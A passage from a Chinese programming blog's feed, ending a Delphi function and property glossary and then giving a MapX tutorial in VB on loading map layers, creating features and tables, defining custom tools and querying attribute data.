<BR>odd 测试参数是否为奇数&nbsp; <BR>onactivate 事件 焦点移到窗体上时触发&nbsp; <BR>onclick 事件 单击窗体空白区域触发&nbsp; <BR>ondblclick 事件 双击窗体空白区域触发&nbsp; <BR>onclosequery 事件 使用者试图关闭窗体触发&nbsp; <BR>onclose 事件 窗体关闭后才触发&nbsp; <BR>oncreate 事件 窗体第一次创建时触发&nbsp; <BR>ondeactivate 事件 用户切换到另一应用程序触发&nbsp; <BR>ondragdrop 事件 鼠标拖放操作结束时触发&nbsp; <BR>ondragover 事件 有其他控件从他上面移过触发&nbsp; <BR>onmousedown 事件 按下鼠标键时触发&nbsp; <BR>onmouseup 事件 释放鼠标键时触发&nbsp; <BR>onmousemove 事件 移动鼠标时触发&nbsp; <BR>onhide 事件 隐藏窗体时触发&nbsp; <BR>onkeydown 事件 按下键盘某键时触发&nbsp; <BR>onkeypress 事件 按下键盘上的单个字符键时触发&nbsp; <BR>onkeyup 事件 释放键盘上的某键时触发&nbsp; <BR>onpaint 事件 窗体上有新部分暴露出来触发&nbsp; <BR>onresize 事件 重新调整窗体大小触发&nbsp; <BR>onshow 事件 在窗体实际显示之前瞬间触发&nbsp; <BR>ord 返回序数类的序数&nbsp; <BR>outlinestyle 属性 类型&nbsp; <BR>outofmemoryerror 引起outofmemory意外&nbsp; <BR>pageindex 属性 页索引&nbsp; <BR>pages 属性 页&nbsp; <BR>paramcount 函数 返回在命令行上传递给程序的参数数量&nbsp; <BR>paramstr 函数 返回指定的命令行参数&nbsp; <BR>pen 属性 画刷设置&nbsp; <BR>pi 函数 返回圆周率pi&nbsp; <BR>picture 属性 显示图象&nbsp; <BR>pictureclosed 属性 设置closed位图&nbsp; <BR>pictureleaf 属性 设置leaf位图&nbsp; <BR>pictureminus 属性 设置minus位图&nbsp; <BR>pictureopen 属性 设置open位图&nbsp; <BR>pictureplus 属性 设置plus位图&nbsp; <BR>pos 函数 在字符串中搜索子串&nbsp; <BR>pred 函数 返回先前的参数&nbsp; <BR>random 函数 返回一随机函数&nbsp; <BR>randomize 函数 用一随机数初始化内置的随机数生成器&nbsp; <BR>read 函数 对有格式的文件，读一文件组件到变量中；&nbsp; <BR>对文本文件，读一个或多个值到一个或多个变量中&nbsp; <BR>readln 函数 执行read过程，然后跳到文件下一行&nbsp; <BR>readonly 属性 只读属性&nbsp; <BR>reallocmem 函数 分配一动态变量&nbsp; <BR>ren&#097;me 函数 重命名外部文件&nbsp; <BR>ren&#097;mefile 函数 对文件重命名&nbsp; <BR>reset 函数 打开已有的文件&nbsp; <BR>rewrite 函数 建立并打开一新的文件&nbsp; <BR>rmdir 函数 删除空的子目录&nbsp; <BR>round 函数 将实数值舍入为整型值&nbsp; <BR>runerror 函数 停止程序的执行&nbsp; <BR>scrollbars 属性 滚动条状态&nbsp; <BR>seek 函数 将文件的当前指针移动到指定的组件上&nbsp; <BR>seekeof 函数 返回文件的文件结束状态&nbsp; <BR>seekeoln 函数 返回文件的行结束状态&nbsp; <BR>selectedcolor 属性 选中颜色&nbsp; <BR>setmemorymanager 函数 设置内存管理器的入口点&nbsp; <BR>settextbuf 函数 给文本文件指定i/o缓冲区&nbsp; <BR>shape 属性 显示的形状&nbsp; <BR>showexception 函数 显示意外消息与地址&nbsp; <BR>sin 函数 正弦函数&nbsp; <BR>sizeof 函数 返回参数所占的字节数&nbsp; <BR>smallchange 属性 最小改变值&nbsp; <BR>sorted 属性 是否允许排序&nbsp; <BR>sqr 函数 平方函数&nbsp; <BR>sqrt 函数 平方根函数&nbsp; <BR>startmargin 属性 开始边缘&nbsp; <BR>state 属性 控件当前状态&nbsp; <BR>str 函数 将数值转换为字符串&nbsp; <BR>stralloc 函数 给以null结束的字符串分配最大长度-1的缓冲区&nbsp; <BR>strbufsize 函数 返回存储在由stralloc分配的字符缓冲区的最大字符数&nbsp; <BR>strcat 函数 将一字符串附加到另一字符串尾并返回合并的字符串&nbsp; <BR>strcomp 函数 比较两个字符串&nbsp; <BR>strcopy 函数 将一个字符串复制到另一个字符串中&nbsp; <BR>strdispose 函数 释放堆栈上的字符串&nbsp; <BR>strecopy 函数 将一字符串复制到另一个字符串并返回结果字符串尾部的指针 <BR>strend 函数 返回指向字符串尾部的指针&nbsp; <BR>stretch 属性 自动适应控件的大小&nbsp; <BR>strfmt 函数 格式化一系列的参数&nbsp; <BR>stricomp 函数 比较两个字符串（不区分大小写）&nbsp; <BR>stringtowidechar 函数 将ansi字符串转换为unicode字符串&nbsp; <BR>strlcat 函数 将一字符串中的字符附加到另一字符串尾并返回合并的字符串 <BR>strlcomp 函数 以最大长度比较两个字符串&nbsp; <BR>strlcopy 函数 将一个字符串中的字符复制到另一个字符串中&nbsp; <BR>strlen 函数 返回字符串中的字符数&nbsp; <BR>strlfmt 函数 格式化一系列的参数，其结果中包含有指向目标缓冲区的指针 <BR>strlicomp 函数 以最大长度比较两个字符串（不区分大小写）&nbsp; <BR>strlower 函数 将字符串中的字符转换为小写&nbsp; <BR>strmove 函数 将一个字符串中的字符复制到另一个字符串中&nbsp; <BR>strnew 函数 在堆栈上分配一个字符串&nbsp; <BR>strpas 函数 将以null结束的字符串转换为pascal类的字符串&nbsp; <BR>strpcopy 函数 将pascal类的字符串复制为以null结束的字符串&nbsp; <BR>strplcopy 函数 从pascal类的最大长度字符串复制为以null结束的字符串&nbsp; <BR>strpos 函数 返回一个字符串在另一个字符串中首次出现指针&nbsp; <BR>strrscan 函数 返回字符串中最后出现字符的指针&nbsp; <BR>strscan 函数 返回字符串中出现首字符的指针&nbsp; <BR>strtodate 函数 将字符串转换为日期格式&nbsp; <BR>strtodatetime 函数 将字符串转换为日期/时间格式&nbsp; <BR>strtofloat 函数 将给定的字符串转换为浮点数&nbsp; <BR>strtoint 函数 将字符串转换为整型&nbsp; <BR>strtointdef 函数 将字符串转换为整型或默认值&nbsp; <BR>strtotime 函数 将字符串转换为时间格式&nbsp; <BR>strupper 函数 将字符串中的字符转换为大写&nbsp; <BR>style 属性 类型选择&nbsp; <BR>suce 函数 返回后继的参数&nbsp; <BR>swap 函数 交换参数的高低地址位&nbsp; <BR>tabs 属性 标记每一项的内容&nbsp; <BR>tabindex 属性 标记索引&nbsp; <BR>text 属性 显示的文本&nbsp; <BR>texttofloat 函数 将字符串（以null结束的格式）转换为浮点数&nbsp; <BR>time 函数 返回当前的时间&nbsp; <BR>timetostr 函数 将时间格式转换为字符串&nbsp; <BR>trim 函数 从给定的字符串中删除前导和尾部的空格及控制字符&nbsp; <BR>trimleft 函数 从给定的字符串中删除首部的空格及控制字符&nbsp; <BR>trimright 函数 从给定的字符串中删除尾部的空格及控制字符&nbsp; <BR>trunc 函数 将实型值截取为整型值&nbsp; <BR>truncate 函数 截去当前文件位置后的内容&nbsp; <BR>unselectedcolor 属性 未选中颜色&nbsp; <BR>upcase 将字符转换为大写&nbsp; <BR>uppercase 将给定的字符串变为大写&nbsp; <BR>val 函数 将字符串转换为整型值&nbsp; <BR>vararraycreate 函数 以给定的界限和维数建立变体数组&nbsp; <BR>vararraydimcount 函数 返回给定变体的维数&nbsp; <BR>vararrayhighbound 函数 返回给定变体数组维数的上界&nbsp; <BR>vararraylock 函数 锁定给定的变体数组&nbsp; <BR>vararraylowbound 函数 返回给定变体数组维数的下界&nbsp; <BR>vararrayof 函数 返回指定变体的数组元素&nbsp; <BR>vararrayredim 函数 通过改变上限来调整变体的大小&nbsp; <BR>vararrayunlock 函数 解锁指定的变体数组&nbsp; <BR>varastype 函数 将变体转换为指定的类型&nbsp; <BR>varcase 函数 将变体转换为指定的类型并保存他&nbsp; <BR>varclear 函数 清除指定的变体&nbsp; <BR>varcopy 函数 将指定的变体复制为指定的变体&nbsp; <BR>varformdatetime 函数 返回包含日期时间的变体&nbsp; <BR>varisarray 函数 测试变体是否为数组&nbsp; <BR>varisempty 函数 测试变体是否为unassigned&nbsp; <BR>varisnull 函数 测试变体是否为null&nbsp; <BR>vartodatetime 函数 将给定的变体转换为日期时间&nbsp; <BR>vartype 函数 将变体转换为指定的类型并保存他&nbsp; <BR>visible 属性 控件的可见性&nbsp; <BR>wantreturns 属性 为true时，按回车键产生一个回车符；&nbsp; <BR>为false时，按下ctrl+enter才产生回车符&nbsp; <BR>write 命令 对有格式的文件，写一变量到文件组件中；&nbsp; <BR>对文本文件，写一个或多个值到文件中&nbsp; <BR>writeln 命令 执行write过程，然后输出一行结束标志&nbsp; <BR>widecharlentostring 函数 将ansi字符串转换为unicode字符串&nbsp; <BR>widecharlentostrwar 函数 将unicode字符串转换为ansi字符串变量&nbsp; <BR>widechartostring 函数 将unicode字符串转换为ansi字符串&nbsp; <BR>widechartostrvar 函数 将unicode字符串转换为ansi字符串变量 </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=171" /> 
	  <id>http://www.openx.cn/default.asp?id=171</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用MapX快速开发]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-05T09:26:38+08:00</updated>
	  <published>2005-12-05T09:26:38+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"> 
<P>一、加载地图数据 <BR>1、 TAB的数据分为两种数据：地图数据（Layers）、属性数据（Datasets）。关系：不可分割的一个数据集的两部分. <BR>2、 数据加载：GST文件由GeosetManager40.exe程序生成。在程序使用gsT文件：Map1.Geoset=Filepath+FileName <BR>3、 问题：GST文件加载后，只是默认将地图数据加载，属性数据另外需要使用单独的命令进行加载，否则对属性数据的操作全部非法。加载：Map1.Datasets.ADD 属性数据集名称<BR>&nbsp;<BR>4、 另一种加载方式：使用LayerInfo 对象，这种方式下加载地图数据源的地图集和属性集均可直接使用。示例： <BR>dim LayerInfo as MapXLib.LayerInfo <BR>dim Lyr as Mpxlib.layer </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>LayerInfo.Type = miLayerInfoTypeTab&nbsp;&nbsp;&nbsp; ‘加载表的类型 <BR>LayerInfo.AddParameter "FileSpec", FilePath + LayerName + ".TAB"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘加载表<BR>的全路径名 <BR>LayerInfo.AddParameter "NAME", LayerName&nbsp;&nbsp; ‘地图集的别名 <BR>LayerInfo.AddParameter "AutoCreateDataset", 1&nbsp;&nbsp;&nbsp; ‘是否加载属性数据集 <BR>LayerInfo.AddParameter "datasetname", LayerName&nbsp;&nbsp; ‘属性数据集别名 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>MainMap.Layers.Add LayerInfo&nbsp;&nbsp;&nbsp; ‘加载到指定的MapX对象中，立即可直接使用 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>5、 第三种加载数据方式：GST文件+ LayerInfo方式。示例： <BR>&nbsp;&nbsp;&nbsp;&nbsp; 使用两个MapX对象：MainMap、TempMap <BR>TempMap.Geoset=GST文件 <BR>MainMap.geoset=”” <BR>TempMap.Refresh </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For I=1 to TempMap.Layers.Count <BR>FileName=TempMap.Layers.Item(I).Filespec <BR>‘直接引用LayerInfo方式加载地图数据到MainMap <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>二、创建地图对象 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>必要：创建地图对象，必须使用FeatureFactory对象 <BR>1、 创建一个点对象 <BR>点对象有一个坐标点（X，Y），点对象变量是Point类型，点对象的样式（Style）是符号<BR>样式。 <BR>Dim Pnt AS MapXLib.Point <BR>Dim FeaFac AS MapXLib.FeatureFactory <BR>Dim Lyr AS MapXLib.Layer <BR>Dim Ftr AS MapXLib.Feature <BR>Dim NewStyle AS MapXLib.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘绑定 <BR>SET Lyr=MainMap.Layers.Item(LayerName) <BR>SET FeaFac=mainmap.featurefactory <BR>‘设置点对象样式 <BR>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .SymbolType = miSymbolTypeBitmap <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapSize = 24 <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapTransparent = False <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>Mainmap.AutoRedraw=False&nbsp;&nbsp;&nbsp;&nbsp; ‘禁止自动刷新 <BR>Lyr.Editable=True&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘置当前图层为可写状态 <BR>‘创建点对象 <BR>pnt.set X1,Y1 <BR>‘添加进当前图层 <BR>Set Ftr=FeaFac. CreateSymbol (Pnt,Newstyle)&nbsp;&nbsp; ‘创建符号 <BR>‘Set Ftr=FeaFac. CreateSymbol (Pnt,MainMap.DefaultStyle) <BR>‘添加 <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr.Editable=False <BR>‘释放 <BR>SET Pnt = Nothing <BR>SET FeaFac&nbsp; = Nothing <BR>SET Lyr&nbsp; = Nothing <BR>SET Ftr&nbsp; = Nothing <BR>‘以上代码放在MapX的ToolUsed事件下 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>单独修改某个图元的样式：SET Ftr.Style=NewStyle，再用Update 即可 <BR>2、 创建一个线矩形 <BR>Dim Pnts AS MapXLib.Points </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .LineColor=Rgb(0, 0,255) <BR>End With <BR>‘第一个点 <BR>Pnt.Set X1,Y1 <BR>Pnts.add Pnt <BR>‘第二个点 <BR>Pnt.Set X2,Y1 <BR>Pnts.add Pnt <BR>‘第三个点 <BR>Pnt.Set X2,Y2 <BR>Pnts.add Pnt <BR>‘第四个点 <BR>Pnt.Set X1,Y2 <BR>Pnts.add Pnt <BR>‘第五个点 <BR>Pnt.Set X1,Y1 <BR>Pnts.add Pnt </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘创建线矩形 <BR>SET Ftr=FeaFac.CreateLine(Pnts,NewStyle) <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>3、 上面创建对象中存在的问题：并未对其数据数据进行赋值 <BR>创建对象的同时创建其数据集合 <BR>Dim Pnt AS MapXLib.Point <BR>Dim FeaFac AS MapXLib.FeatureFactory <BR>Dim Lyr AS MapXLib.Layer <BR>Dim Ftr AS MapXLib.Feature <BR>Dim NewStyle AS MapXLib.Style <BR>Dim ds AS MapXLib.Dataset <BR>Dim Flds AS MapXLib.Fields </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;‘绑定 <BR>SET Lyr=MainMap.Layers.Item(LayerName) <BR>SET ds=Lyr.Datasets.Item(1) <BR>Set Flds=ds.Fields <BR>SET FeaFac=mainmap.featurefactory <BR>‘设置点对象样式 <BR>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .SymbolType = miSymbolTypeBitmap <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapSize = 24 <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapTransparent = False <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>Mainmap.AutoRedraw=False&nbsp;&nbsp;&nbsp;&nbsp; ‘禁止自动刷新 <BR>Lyr.Editable=True&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘置当前图层为可写状态 <BR>‘创建点对象 <BR>pnt.set X1,Y1 <BR>‘创建图形 <BR>Set Ftr=FeaFac. CreateSymbol (Pnt,Newstyle)&nbsp;&nbsp; ‘创建符号 <BR>‘Set Ftr=FeaFac. CreateSymbol (Pnt,MainMap.DefaultStyle) <BR>‘设置属性 <BR>For I=1 to Flds.Count <BR>Lyr.KeyFields=Flds.Item(i).Name <BR>Ftr.KeyValue=ValueStr(I)&nbsp;&nbsp; ‘这里并没有对字段类型进行判断 <BR>Next <BR>‘另外一种方法：使用RowValues和RowValue对象 <BR>‘添加 <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr.Editable=False <BR>‘释放 <BR>SET Pnt = Nothing <BR>SET FeaFac&nbsp; = Nothing <BR>SET Lyr&nbsp; = Nothing <BR>SET Ftr&nbsp; = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET ds = Nothing <BR>SET Flds&nbsp; = Nothing <BR>4、 创建表 <BR>（1） 临时表： <BR>A、用MainMap.Layers.CreateLayer方法创建临时表。但这个临时表只有一个字段：GeoNa<BR>me( Char 24)。程序运行过程中该表存放位置为系统临时文件夹下 <BR>B、使用LayerInfo对象创建临时表，可以指定字段。示例： </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; Dim Lyr As MapXLib.Layer <BR>&nbsp; Dim LayerInfo As New MapXLib.LayerInfo <BR>&nbsp; Dim Flds As New MapXLib.Fields <BR>&nbsp;&nbsp; <BR>‘字段定义 <BR>&nbsp; Flds.AddStringField "ID", 12 <BR>&nbsp; Flds.AddStringField "Name", 50 <BR>&nbsp; Flds.AddNumericField "Deptch", 12, 2 <BR>&nbsp; Flds.AddIntegerField "Length" <BR>&nbsp;&nbsp; <BR>&nbsp; &acute; <BR>&nbsp; LayerInfo.Type = miLayerInfoTypeTemp <BR>&nbsp; LayerInfo.AddParameter "FileSpec", FileName <BR>&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp; LayerInfo.AddParameter "Fields", Flds <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = Nothing <BR>&nbsp; Set LayerInfo = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2） 创建永久表 <BR>&nbsp; Dim Lyr As MapXLib.Layer <BR>&nbsp; Dim LayerInfo As New MapXLib.LayerInfo <BR>&nbsp; Dim Flds As New MapXLib.Fields <BR>&nbsp;&nbsp; <BR>&nbsp; Flds.AddStringField "ID", 12 <BR>&nbsp; Flds.AddStringField "Name", 50 <BR>&nbsp; Flds.AddNumericField "Deptch", 12, 2 <BR>&nbsp; Flds.AddIntegerField "Length" <BR>&nbsp;&nbsp; <BR>&nbsp; &acute; <BR>&nbsp; LayerInfo.Type = miLayerInfoTypeNewTable <BR>&nbsp; LayerInfo.AddParameter "FileSpec", FilePath + "" + FileName <BR>&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp; LayerInfo.AddParameter "Fields", Flds <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = Nothing <BR>&nbsp; Set LayerInfo = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>5、 创建工具句柄 <BR>系统已经定义工具句柄都以整数（包括16进制）常数存在，句柄号大于1000和小于12基本都为系统使用。 <BR>A. 定义常数：必须为全局变量 <BR>Global Const CreateSymbolTool = 13&nbsp;&nbsp; &acute;创建节点 <BR>Global Const CreateLineTool = 15&nbsp;&nbsp;&nbsp;&nbsp; &acute;创建管线 <BR>Global Const InfoTipTool = 16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;信息工具 <BR>Global Const MoveFeature = 17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;移动地图 <BR>Global Const ScaleDistanceTool = 18&nbsp; &acute;测量两点间的距离 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>B. 使用CreateCustomTool创建新的工具句柄： <BR>MainMap.CreateCustomTool CreateSymbolTool, miToolTypePoint, miSymbolCursor <BR>MainMap.CreateCustomTool CreateLineTool, miToolTypeLine, miCrossCursor <BR>MainMap.CreateCustomTool InfoTipTool, miToolTypePoint, miCrossCursor <BR>MainMap.CreateCustomTool MoveFeature, miToolTypeLine, miPanCursor <BR>MainMap.CreateCustomTool ScaleDistanceTool, miToolTypeLine, miPanCursor <BR>C. 如何使用？&nbsp; <BR>在Map对象的ToolUsed事件的ToolNum参数为当前所激活的工具使当前操作指向某行为：MainMap.CurrentTool=工具句柄号，如放大：MainMap.CurrentTool=miZoomInTool，移动图元：MainMap.CurrentTool=MoveFeature <BR>操作具体的工具句柄时，执行该捕捉到的工具句柄的代码： <BR>在ToolUsed事件中： </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Select Case ToolNum <BR>&nbsp;&nbsp; Case MoveFeature <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘执行代码 <BR>End Select </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>删除图元：Lyr.DeleteFeature Ftr </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>三、查询 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>1、 属性查找。Find、Search方法：注意的是Find方法只支持TAB表文件，不支持空间数据表。 <BR>Find ：与FoxPro中Locate定位命令想类似。 <BR>Search：支持SQL语句。写法：仅指SQL语句的WHERE 部分，且From语句中只能有一个表——仅对单表进行操作：</P>
<P>Select * from LayerName WHERE ID LIKE “%北京%” <BR>示例： <BR>A、查找 <BR>Dim Ftrs AS MapXlib.Features&nbsp;&nbsp;&nbsp;&nbsp; ‘图元集合 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET Ftrs=Lyr.Search(“ID LIKE ““%北京%”””) <BR>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; ‘执行语句 <BR>Next <BR>B、高亮显示 <BR>Lyr.Selection.Replace Ftrs&nbsp;&nbsp;&nbsp; ‘将当前查询所得的结果集全部高亮显示（隐含执行：Lyr.ClearSelection语句）——加入selection集合闪烁：不能用Selection，否则会对整个屏幕进行整个刷新（抖动）。使用更新Style的方法进行选定图元的闪烁。 <BR>记载图元的老样式：Set Oldsytle=Ftr.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.Selection.Add Ftrs&nbsp;&nbsp;&nbsp; ‘将当前查询所得的结果集添加到已有的结果集中，再全部高亮显示 </P>
<P><BR>C、对查询的结果集进行属性修改 <BR>示例程序：完成的是Professional中信息工具功能 <BR>Dim ds AS MapXlib.Dataset <BR>Dim Flds AS MapXlib.Fields <BR>Dim Ftr AS MapXlib.Feature </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set Lyr=MainMap.Layers.Item(LayerName) <BR>Set ds=Lyr.Datasets.item(1) <BR>Set Flds=ds.Fields <BR>‘查找 <BR>SET Ftrs=Lyr.Search(“ID LIKE ““%北京%”””) <BR>If Ftrs.count=0 then exit sub </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘读取属性值 <BR>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; Set Ftr=Ftrs.Item(I) <BR>&nbsp;&nbsp; For j=1 to Flds.count <BR>FldsName(J)=Flds.Item(J).Name&nbsp;&nbsp;&nbsp; ‘字段列表 <BR>Lyr.KeyField=FldsName(J) <BR>&nbsp; ValueStr(I,J)=Ftr.KeyValue&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘值列表 <BR>&nbsp;&nbsp; Next <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘修改属性 <BR>MainMap.AuyoRedraw=False <BR>Lyr.Editable=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For j=1 to Flds.count <BR>Lyr.KeyField= Flds.Item(J).Name <BR>Ftrs.Item(j).KeyValue =ValueStr(J)&nbsp;&nbsp;&nbsp;&nbsp; ‘更新值列表 <BR>Ftrs.Item(j).Update True <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AuyoRedraw=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘修改样式 <BR>Dim NewStyle AS MapXlib.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>With NewStyle <BR>‘设置样式 <BR>End With </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>MainMap.AuyoRedraw=False <BR>Lyr.Editable=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For i=1 to Ftrs.count <BR>Set Ftr =Ftrs.Item(I) <BR>SET Ftr.Style=NewStyle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘更新样式 <BR>Ftr.Update True <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AuyoRedraw=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
